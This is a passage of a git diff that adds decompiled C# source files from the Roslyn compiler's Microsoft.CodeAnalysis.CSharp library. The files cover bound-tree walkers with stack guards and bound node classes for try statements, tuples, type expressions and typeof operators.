public override BoundNode? VisitRecursivePattern(BoundRecursivePattern node) + { + Visit(node.DeclaredType); + VisitList(node.Deconstruction); + VisitList(node.Properties); + Visit(node.VariableAccess); + return null; + } + + public override BoundNode? VisitListPattern(BoundListPattern node) + { + VisitList(node.Subpatterns); + Visit(node.VariableAccess); + return null; + } + + public override BoundNode? VisitSlicePattern(BoundSlicePattern node) + { + Visit(node.Pattern); + return null; + } + + public override BoundNode? VisitITuplePattern(BoundITuplePattern node) + { + VisitList(node.Subpatterns); + return null; + } + + public override BoundNode? VisitPositionalSubpattern(BoundPositionalSubpattern node) + { + Visit(node.Pattern); + return null; + } + + public override BoundNode? VisitPropertySubpattern(BoundPropertySubpattern node) + { + Visit(node.Member); + Visit(node.Pattern); + return null; + } + + public override BoundNode? VisitPropertySubpatternMember(BoundPropertySubpatternMember node) + { + Visit(node.Receiver); + return null; + } + + public override BoundNode? VisitTypePattern(BoundTypePattern node) + { + Visit(node.DeclaredType); + return null; + } + + public override BoundNode? VisitBinaryPattern(BoundBinaryPattern node) + { + Visit(node.Left); + Visit(node.Right); + return null; + } + + public override BoundNode? VisitNegatedPattern(BoundNegatedPattern node) + { + Visit(node.Negated); + return null; + } + + public override BoundNode? VisitRelationalPattern(BoundRelationalPattern node) + { + Visit(node.Value); + return null; + } + + public override BoundNode? VisitDiscardExpression(BoundDiscardExpression node) + { + return null; + } + + public override BoundNode? VisitThrowExpression(BoundThrowExpression node) + { + Visit(node.Expression); + return null; + } + + public override BoundNode? VisitOutVariablePendingInference(OutVariablePendingInference node) + { + Visit(node.ReceiverOpt); + return null; + } + + public override BoundNode? VisitDeconstructionVariablePendingInference(DeconstructionVariablePendingInference node) + { + Visit(node.ReceiverOpt); + return null; + } + + public override BoundNode? VisitOutDeconstructVarPendingInference(OutDeconstructVarPendingInference node) + { + return null; + } + + public override BoundNode? VisitNonConstructorMethodBody(BoundNonConstructorMethodBody node) + { + Visit(node.BlockBody); + Visit(node.ExpressionBody); + return null; + } + + public override BoundNode? VisitConstructorMethodBody(BoundConstructorMethodBody node) + { + Visit(node.Initializer); + Visit(node.BlockBody); + Visit(node.ExpressionBody); + return null; + } + + public override BoundNode? VisitExpressionWithNullability(BoundExpressionWithNullability node) + { + Visit(node.Expression); + return null; + } + + public override BoundNode? VisitWithExpression(BoundWithExpression node) + { + Visit(node.Receiver); + Visit(node.InitializerExpression); + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeWalkerWithStackGuard.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeWalkerWithStackGuard.cs new file mode 100644 index 0000000..d8607d0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeWalkerWithStackGuard.cs @@ -0,0 +1,36 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundTreeWalkerWithStackGuard : BoundTreeWalker +{ + private int _recursionDepth; + + protected int RecursionDepth => _recursionDepth; + + protected BoundTreeWalkerWithStackGuard() + { + } + + protected BoundTreeWalkerWithStackGuard(int recursionDepth) + { + _recursionDepth = recursionDepth; + } + + public override BoundNode? Visit(BoundNode? node) + { + if (node is BoundExpression node2) + { + return VisitExpressionWithStackGuard(ref _recursionDepth, node2); + } + return base.Visit(node); + } + + protected BoundExpression VisitExpressionWithStackGuard(BoundExpression node) + { + return VisitExpressionWithStackGuard(ref _recursionDepth, node); + } + + protected sealed override BoundExpression VisitExpressionWithoutStackGuard(BoundExpression node) + { + return (BoundExpression)base.Visit(node); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator.cs new file mode 100644 index 0000000..8ecc681 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator.cs @@ -0,0 +1,79 @@ +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator : BoundTreeWalkerWithStackGuard +{ + protected BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator() + { + } + + protected BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator(int recursionDepth) + : base(recursionDepth) + { + } + + public sealed override BoundNode? VisitBinaryOperator(BoundBinaryOperator node) + { + if (node.Left.Kind != BoundKind.BinaryOperator) + { + return base.VisitBinaryOperator(node); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node.Right); + BoundBinaryOperator boundBinaryOperator = (BoundBinaryOperator)node.Left; + ArrayBuilderExtensions.Push(instance, boundBinaryOperator.Right); + BoundExpression left = boundBinaryOperator.Left; + while (left.Kind == BoundKind.BinaryOperator) + { + boundBinaryOperator = (BoundBinaryOperator)left; + ArrayBuilderExtensions.Push(instance, boundBinaryOperator.Right); + left = boundBinaryOperator.Left; + } + Visit(left); + while (instance.Count > 0) + { + Visit(ArrayBuilderExtensions.Pop(instance)); + } + instance.Free(); + return null; + } + + public sealed override BoundNode? VisitCall(BoundCall node) + { + if (node.ReceiverOpt is BoundCall boundCall) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node); + node = boundCall; + while (node.ReceiverOpt is BoundCall boundCall2) + { + ArrayBuilderExtensions.Push(instance, node); + node = boundCall2; + } + VisitReceiver(node); + do + { + VisitArguments(node); + } + while (ArrayBuilderExtensions.TryPop(instance, ref node)); + instance.Free(); + } + else + { + VisitReceiver(node); + VisitArguments(node); + } + return null; + } + + protected virtual void VisitReceiver(BoundCall node) + { + Visit(node.ReceiverOpt); + } + + protected virtual void VisitArguments(BoundCall node) + { + VisitList(node.Arguments); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTryStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTryStatement.cs new file mode 100644 index 0000000..0c728f8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTryStatement.cs @@ -0,0 +1,50 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundTryStatement : BoundStatement +{ + public BoundBlock TryBlock { get; } + + public ImmutableArray CatchBlocks { get; } + + public BoundBlock? FinallyBlockOpt { get; } + + public LabelSymbol? FinallyLabelOpt { get; } + + public bool PreferFaultHandler { get; } + + public BoundTryStatement(SyntaxNode syntax, BoundBlock tryBlock, ImmutableArray catchBlocks, BoundBlock? finallyBlockOpt, LabelSymbol? finallyLabelOpt = null) + : this(syntax, tryBlock, catchBlocks, finallyBlockOpt, finallyLabelOpt, preferFaultHandler: false) + { + } + + public BoundTryStatement(SyntaxNode syntax, BoundBlock tryBlock, ImmutableArray catchBlocks, BoundBlock? finallyBlockOpt, LabelSymbol? finallyLabelOpt, bool preferFaultHandler, bool hasErrors = false) + : base(BoundKind.TryStatement, syntax, hasErrors || tryBlock.HasErrors() || catchBlocks.HasErrors() || finallyBlockOpt.HasErrors()) + { + TryBlock = tryBlock; + CatchBlocks = catchBlocks; + FinallyBlockOpt = finallyBlockOpt; + FinallyLabelOpt = finallyLabelOpt; + PreferFaultHandler = preferFaultHandler; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitTryStatement(this); + } + + public BoundTryStatement Update(BoundBlock tryBlock, ImmutableArray catchBlocks, BoundBlock? finallyBlockOpt, LabelSymbol? finallyLabelOpt, bool preferFaultHandler) + { + if (tryBlock != TryBlock || catchBlocks != CatchBlocks || finallyBlockOpt != FinallyBlockOpt || !SymbolEqualityComparer.ConsiderEverything.Equals(finallyLabelOpt, FinallyLabelOpt) || preferFaultHandler != PreferFaultHandler) + { + BoundTryStatement boundTryStatement = new BoundTryStatement(Syntax, tryBlock, catchBlocks, finallyBlockOpt, finallyLabelOpt, preferFaultHandler, base.HasErrors); + boundTryStatement.CopyAttributes(this); + return boundTryStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTupleBinaryOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTupleBinaryOperator.cs new file mode 100644 index 0000000..b70dcec --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTupleBinaryOperator.cs @@ -0,0 +1,43 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundTupleBinaryOperator : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Left { get; } + + public BoundExpression Right { get; } + + public BinaryOperatorKind OperatorKind { get; } + + public TupleBinaryOperatorInfo.Multiple Operators { get; } + + public BoundTupleBinaryOperator(SyntaxNode syntax, BoundExpression left, BoundExpression right, BinaryOperatorKind operatorKind, TupleBinaryOperatorInfo.Multiple operators, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.TupleBinaryOperator, syntax, type, hasErrors || left.HasErrors() || right.HasErrors()) + { + Left = left; + Right = right; + OperatorKind = operatorKind; + Operators = operators; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitTupleBinaryOperator(this); + } + + public BoundTupleBinaryOperator Update(BoundExpression left, BoundExpression right, BinaryOperatorKind operatorKind, TupleBinaryOperatorInfo.Multiple operators, TypeSymbol type) + { + if (left != Left || right != Right || operatorKind != OperatorKind || operators != Operators || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundTupleBinaryOperator boundTupleBinaryOperator = new BoundTupleBinaryOperator(Syntax, left, right, operatorKind, operators, type, base.HasErrors); + boundTupleBinaryOperator.CopyAttributes(this); + return boundTupleBinaryOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTupleExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTupleExpression.cs new file mode 100644 index 0000000..79b1d4b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTupleExpression.cs @@ -0,0 +1,63 @@ +using System; +using System.Collections.Immutable; +using System.Runtime.CompilerServices; +using System.Text; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundTupleExpression : BoundExpression +{ + public override object Display + { + get + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + ImmutableArray arguments = Arguments; + object[] array = new object[arguments.Length]; + builder.Append('('); + builder.Append("{0}"); + array[0] = arguments[0].Display; + for (int i = 1; i < arguments.Length; i++) + { + builder.Append(", {" + i + "}"); + array[i] = arguments[i].Display; + } + builder.Append(')'); + return FormattableStringFactory.Create(instance.ToStringAndFree(), array); + } + } + + public ImmutableArray Arguments { get; } + + public ImmutableArray ArgumentNamesOpt { get; } + + public ImmutableArray InferredNamesOpt { get; } + + internal void VisitAllElements(Action action, T args) + { + ImmutableArray.Enumerator enumerator = Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (current.Kind == BoundKind.TupleLiteral) + { + ((BoundTupleExpression)current).VisitAllElements(action, args); + } + else + { + action(current, args); + } + } + } + + protected BoundTupleExpression(BoundKind kind, SyntaxNode syntax, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray inferredNamesOpt, TypeSymbol? type, bool hasErrors = false) + : base(kind, syntax, type, hasErrors) + { + Arguments = arguments; + ArgumentNamesOpt = argumentNamesOpt; + InferredNamesOpt = inferredNamesOpt; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTupleLiteral.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTupleLiteral.cs new file mode 100644 index 0000000..fea0445 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTupleLiteral.cs @@ -0,0 +1,32 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundTupleLiteral : BoundTupleExpression +{ + public new TypeSymbol? Type => base.Type; + + public BoundTupleLiteral(SyntaxNode syntax, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray inferredNamesOpt, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.TupleLiteral, syntax, arguments, argumentNamesOpt, inferredNamesOpt, type, hasErrors || arguments.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitTupleLiteral(this); + } + + public BoundTupleLiteral Update(ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray inferredNamesOpt, TypeSymbol? type) + { + if (arguments != base.Arguments || argumentNamesOpt != base.ArgumentNamesOpt || inferredNamesOpt != base.InferredNamesOpt || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundTupleLiteral boundTupleLiteral = new BoundTupleLiteral(Syntax, arguments, argumentNamesOpt, inferredNamesOpt, type, base.HasErrors); + boundTupleLiteral.CopyAttributes(this); + return boundTupleLiteral; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTupleOperandPlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTupleOperandPlaceholder.cs new file mode 100644 index 0000000..62884d9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTupleOperandPlaceholder.cs @@ -0,0 +1,45 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundTupleOperandPlaceholder : BoundValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/BoundTree/BoundExpression.cs", 187); + } + } + + public new TypeSymbol Type => base.Type; + + public BoundTupleOperandPlaceholder(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.TupleOperandPlaceholder, syntax, type, hasErrors) + { + } + + public BoundTupleOperandPlaceholder(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.TupleOperandPlaceholder, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitTupleOperandPlaceholder(this); + } + + public BoundTupleOperandPlaceholder Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundTupleOperandPlaceholder boundTupleOperandPlaceholder = new BoundTupleOperandPlaceholder(Syntax, type, base.HasErrors); + boundTupleOperandPlaceholder.CopyAttributes(this); + return boundTupleOperandPlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeExpression.cs new file mode 100644 index 0000000..513ae23 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeExpression.cs @@ -0,0 +1,83 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundTypeExpression : BoundExpression +{ + public override Symbol ExpressionSymbol => (Symbol)(((object)AliasOpt) ?? ((object)Type)); + + public override LookupResultKind ResultKind + { + get + { + if (Type.OriginalDefinition is ErrorTypeSymbol errorTypeSymbol) + { + return errorTypeSymbol.ResultKind; + } + return LookupResultKind.Viable; + } + } + + public AliasSymbol? AliasOpt { get; } + + public BoundTypeExpression? BoundContainingTypeOpt { get; } + + public ImmutableArray BoundDimensionsOpt { get; } + + public new TypeSymbol Type => base.Type; + + public TypeWithAnnotations TypeWithAnnotations { get; } + + public BoundTypeExpression(SyntaxNode syntax, AliasSymbol? aliasOpt, BoundTypeExpression? boundContainingTypeOpt, ImmutableArray boundDimensionsOpt, TypeWithAnnotations typeWithAnnotations, bool hasErrors = false) + : this(syntax, aliasOpt, boundContainingTypeOpt, boundDimensionsOpt, typeWithAnnotations, typeWithAnnotations.Type, hasErrors) + { + } + + public BoundTypeExpression(SyntaxNode syntax, AliasSymbol? aliasOpt, BoundTypeExpression? boundContainingTypeOpt, TypeWithAnnotations typeWithAnnotations, bool hasErrors = false) + : this(syntax, aliasOpt, boundContainingTypeOpt, ImmutableArray.Empty, typeWithAnnotations, hasErrors) + { + } + + public BoundTypeExpression(SyntaxNode syntax, AliasSymbol? aliasOpt, TypeWithAnnotations typeWithAnnotations, bool hasErrors = false) + : this(syntax, aliasOpt, null, typeWithAnnotations, hasErrors) + { + } + + public BoundTypeExpression(SyntaxNode syntax, AliasSymbol? aliasOpt, TypeSymbol type, bool hasErrors = false) + : this(syntax, aliasOpt, null, TypeWithAnnotations.Create(type), hasErrors) + { + } + + public BoundTypeExpression(SyntaxNode syntax, AliasSymbol? aliasOpt, ImmutableArray dimensionsOpt, TypeWithAnnotations typeWithAnnotations, bool hasErrors = false) + : this(syntax, aliasOpt, null, dimensionsOpt, typeWithAnnotations, hasErrors) + { + } + + public BoundTypeExpression(SyntaxNode syntax, AliasSymbol? aliasOpt, BoundTypeExpression? boundContainingTypeOpt, ImmutableArray boundDimensionsOpt, TypeWithAnnotations typeWithAnnotations, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.TypeExpression, syntax, type, hasErrors || boundContainingTypeOpt.HasErrors() || boundDimensionsOpt.HasErrors()) + { + AliasOpt = aliasOpt; + BoundContainingTypeOpt = boundContainingTypeOpt; + BoundDimensionsOpt = boundDimensionsOpt; + TypeWithAnnotations = typeWithAnnotations; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitTypeExpression(this); + } + + public BoundTypeExpression Update(AliasSymbol? aliasOpt, BoundTypeExpression? boundContainingTypeOpt, ImmutableArray boundDimensionsOpt, TypeWithAnnotations typeWithAnnotations, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(aliasOpt, AliasOpt) || boundContainingTypeOpt != BoundContainingTypeOpt || boundDimensionsOpt != BoundDimensionsOpt || typeWithAnnotations != TypeWithAnnotations || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundTypeExpression boundTypeExpression = new BoundTypeExpression(Syntax, aliasOpt, boundContainingTypeOpt, boundDimensionsOpt, typeWithAnnotations, type, base.HasErrors); + boundTypeExpression.CopyAttributes(this); + return boundTypeExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOf.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOf.cs new file mode 100644 index 0000000..bbafeda --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOf.cs @@ -0,0 +1,22 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundTypeOf : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public MethodSymbol? GetTypeFromHandle { get; } + + protected BoundTypeOf(BoundKind kind, SyntaxNode syntax, MethodSymbol? getTypeFromHandle, TypeSymbol type, bool hasErrors) + : base(kind, syntax, type, hasErrors) + { + GetTypeFromHandle = getTypeFromHandle; + } + + protected BoundTypeOf(BoundKind kind, SyntaxNode syntax, MethodSymbol? getTypeFromHandle, TypeSymbol type) + : base(kind, syntax, type) + { + GetTypeFromHandle = getTypeFromHandle; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOfOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOfOperator.cs new file mode 100644 index 0000000..f55a608 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOfOperator.cs @@ -0,0 +1,32 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundTypeOfOperator : BoundTypeOf +{ + public BoundTypeExpression SourceType { get; } + + public BoundTypeOfOperator(SyntaxNode syntax, BoundTypeExpression sourceType, MethodSymbol? getTypeFromHandle, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.TypeOfOperator, syntax, getTypeFromHandle, type, hasErrors || sourceType.HasErrors()) + { + SourceType = sourceType; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitTypeOfOperator(this); + } + + public BoundTypeOfOperator Update(BoundTypeExpression sourceType, MethodSymbol? getTypeFromHandle, TypeSymbol type) + { + if (sourceType != SourceType || !SymbolEqualityComparer.ConsiderEverything.Equals(getTypeFromHandle, base.GetTypeFromHandle) || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundTypeOfOperator boundTypeOfOperator = new BoundTypeOfOperator(Syntax, sourceType, getTypeFromHandle, type, base.HasErrors); + boundTypeOfOperator.CopyAttributes(this); + return boundTypeOfOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOrInstanceInitializers.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOrInstanceInitializers.cs new file mode 100644 index 0000000..9d1b97f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOrInstanceInitializers.cs @@ -0,0 +1,29 @@ +using System.Collections.Immutable; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundTypeOrInstanceInitializers : BoundStatementList +{ + public BoundTypeOrInstanceInitializers(SyntaxNode syntax, ImmutableArray statements, bool hasErrors = false) + : base(BoundKind.TypeOrInstanceInitializers, syntax, statements, hasErrors || statements.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitTypeOrInstanceInitializers(this); + } + + public new BoundTypeOrInstanceInitializers Update(ImmutableArray statements) + { + if (statements != base.Statements) + { + BoundTypeOrInstanceInitializers boundTypeOrInstanceInitializers = new BoundTypeOrInstanceInitializers(Syntax, statements, base.HasErrors); + boundTypeOrInstanceInitializers.CopyAttributes(this); + return boundTypeOrInstanceInitializers; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOrValueData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOrValueData.cs new file mode 100644 index 0000000..5aeac05 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOrValueData.cs @@ -0,0 +1,72 @@ +using System; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct BoundTypeOrValueData : IEquatable +{ + public Symbol ValueSymbol { get; } + + public BoundExpression ValueExpression { get; } + + public ImmutableBindingDiagnostic ValueDiagnostics { get; } + + public BoundExpression TypeExpression { get; } + + public ImmutableBindingDiagnostic TypeDiagnostics { get; } + + public BoundTypeOrValueData(Symbol valueSymbol, BoundExpression valueExpression, ImmutableBindingDiagnostic valueDiagnostics, BoundExpression typeExpression, ImmutableBindingDiagnostic typeDiagnostics) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + ValueSymbol = valueSymbol; + ValueExpression = valueExpression; + ValueDiagnostics = valueDiagnostics; + TypeExpression = typeExpression; + TypeDiagnostics = typeDiagnostics; + } + + public static bool operator ==(BoundTypeOrValueData a, BoundTypeOrValueData b) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + if ((object)a.ValueSymbol == b.ValueSymbol && a.ValueExpression == b.ValueExpression && a.ValueDiagnostics == b.ValueDiagnostics && a.TypeExpression == b.TypeExpression) + { + return a.TypeDiagnostics == b.TypeDiagnostics; + } + return false; + } + + public static bool operator !=(BoundTypeOrValueData a, BoundTypeOrValueData b) + { + return !(a == b); + } + + public override bool Equals(object? obj) + { + if (obj is BoundTypeOrValueData) + { + return (BoundTypeOrValueData)obj == this; + } + return false; + } + + public override int GetHashCode() + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + return Hash.Combine(ValueSymbol.GetHashCode(), Hash.Combine(ValueExpression.GetHashCode(), Hash.Combine(((object)ValueDiagnostics/*cast due to constrained. prefix*/).GetHashCode(), Hash.Combine(TypeExpression.GetHashCode(), ((object)TypeDiagnostics/*cast due to constrained. prefix*/).GetHashCode())))); + } + + bool IEquatable.Equals(BoundTypeOrValueData b) + { + return b == this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOrValueExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOrValueExpression.cs new file mode 100644 index 0000000..eb21318 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypeOrValueExpression.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundTypeOrValueExpression : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundTypeOrValueData Data { get; } + + public BoundTypeOrValueExpression(SyntaxNode syntax, BoundTypeOrValueData data, TypeSymbol type, bool hasErrors) + : base(BoundKind.TypeOrValueExpression, syntax, type, hasErrors) + { + Data = data; + } + + public BoundTypeOrValueExpression(SyntaxNode syntax, BoundTypeOrValueData data, TypeSymbol type) + : base(BoundKind.TypeOrValueExpression, syntax, type) + { + Data = data; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitTypeOrValueExpression(this); + } + + public BoundTypeOrValueExpression Update(BoundTypeOrValueData data, TypeSymbol type) + { + if (data != Data || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundTypeOrValueExpression boundTypeOrValueExpression = new BoundTypeOrValueExpression(Syntax, data, type, base.HasErrors); + boundTypeOrValueExpression.CopyAttributes(this); + return boundTypeOrValueExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypePattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypePattern.cs new file mode 100644 index 0000000..ccf2ddd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTypePattern.cs @@ -0,0 +1,35 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundTypePattern : BoundPattern +{ + public BoundTypeExpression DeclaredType { get; } + + public bool IsExplicitNotNullTest { get; } + + public BoundTypePattern(SyntaxNode syntax, BoundTypeExpression declaredType, bool isExplicitNotNullTest, TypeSymbol inputType, TypeSymbol narrowedType, bool hasErrors = false) + : base(BoundKind.TypePattern, syntax, inputType, narrowedType, hasErrors || declaredType.HasErrors()) + { + DeclaredType = declaredType; + IsExplicitNotNullTest = isExplicitNotNullTest; + } + + [DebuggerStepThrough] + public override BoundNode? 